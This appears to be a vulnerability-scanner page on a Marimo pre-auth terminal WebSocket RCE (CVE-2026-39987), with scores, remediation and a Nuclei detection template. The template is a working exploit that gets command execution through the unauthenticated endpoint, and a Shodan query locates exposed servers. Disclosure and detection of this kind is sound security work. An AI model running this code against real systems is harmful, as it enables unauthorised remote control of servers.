Marimo <= 0.20.4 - Pre-Auth Terminal WebSocket RCE
CVE-2026-39987
Verified
Description
Marimo versions <= 0.20.4 contain an unauthenticated remote code execution vulnerability. The terminal WebSocket endpoint /terminal/ws lacks authentication validation, allowing an unauthenticated attacker to connect via WebSocket, obtain a full PTY shell, and execute arbitrary OS commands on the underlying server.
Severity
Critical
CVSS Score
9.3
Exploit Probability
82%
Affected Product
marimo
Published Date
April 9, 2026
Template Author
ritikchaddha
CVE-2026-39987.yaml
id: CVE-2026-39987
info:
name: Marimo <= 0.20.4 - Pre-Auth Terminal WebSocket RCE
author: ritikchaddha
severity: critical
description: |
Marimo versions <= 0.20.4 contain an unauthenticated remote code execution vulnerability. The terminal WebSocket endpoint /terminal/ws lacks authentication validation, allowing an unauthenticated attacker to connect via WebSocket, obtain a full PTY shell, and execute arbitrary OS commands on the underlying server.
impact: |
An unauthenticated attacker can achieve full remote code execution on the server by connecting to the exposed terminal WebSocket endpoint without any credentials, gaining complete control of the underlying system.
remediation: |
Upgrade to Marimo version 0.23.0 or later which adds authentication validation to the
terminal WebSocket endpoint.
reference:
- https://github.com/advisories/GHSA-2679-6mx9-h9xc
- https://nvd.nist.gov/vuln/detail/CVE-2026-39987
- https://github.com/marimo-team/marimo
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:N
cvss-score: 9.3
cve-id: CVE-2026-39987
epss-score: 0.82174
epss-percentile: 0.99231
cwe-id: CWE-306
metadata:
verified: true
max-request: 1
vendor: marimo-team
product: marimo
shodan-query: http.favicon.hash:-1864630356
tags: cve,cve2026,marimo,rce,websocket,vkev,kev
javascript:
- code: |
let net = require("nuclei/net");
let addr = target_host + ":" + target_port;
let conn = net.Open('tcp', addr);
let wsKey = "dGhlIHNhbXBsZSBub25jZQ==";
let req = "GET /terminal/ws HTTP/1.1\r\n";
req += "Host: " + addr + "\r\n";
req += "Upgrade: websocket\r\n";
req += "Connection: Upgrade\r\n";
req += "Sec-WebSocket-Key: " + wsKey + "\r\n";
req += "Sec-WebSocket-Version: 13\r\n";
req += "Origin: http://" + addr + "\r\n";
req += "\r\n";
conn.Send(req);
let upgradeResp = conn.RecvString();
if (upgradeResp.indexOf("101") !== -1) {
conn.SendHex("818337fa1e2d5e9e14");
let output = "";
for (let i = 0; i < 5; i++) {
let chunk = conn.RecvString();
if (chunk.length > 0) {
output += chunk;
}
if (output.indexOf("uid=") !== -1) {
break;
}
}
conn.Close();
Export(upgradeResp + output);
}
args:
target_host: "{{Host}}"
target_port: "{{Port}}"
matchers-condition: and
matchers:
- type: regex
regex:
- "uid=\\d+\\([^)]+\\)"
- type: dsl
dsl:
- "success == true"
extractors:
- type: regex
regex:
- "uid=\\d+\\([^)]+\\)"
# digest: 4a0a0047304502200b5c5f72711af943fbdc3d96dbcea5a589a627985d40e2a923e86c9e97ae6087022100d279acfb4f2fbcca3bb90f7b6338bd42032b7549b9a3698b218ef79509d16158:922c64590222798bb761d5b6d8e729509.3Score
CVSS Metrics
CVSS Vector:
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:N
CVE ID:
cve-2026-39987
CWE ID:
cwe-306
Remediation Steps
Upgrade to Marimo version 0.23.0 or later which adds authentication validation to the
terminal WebSocket endpoint.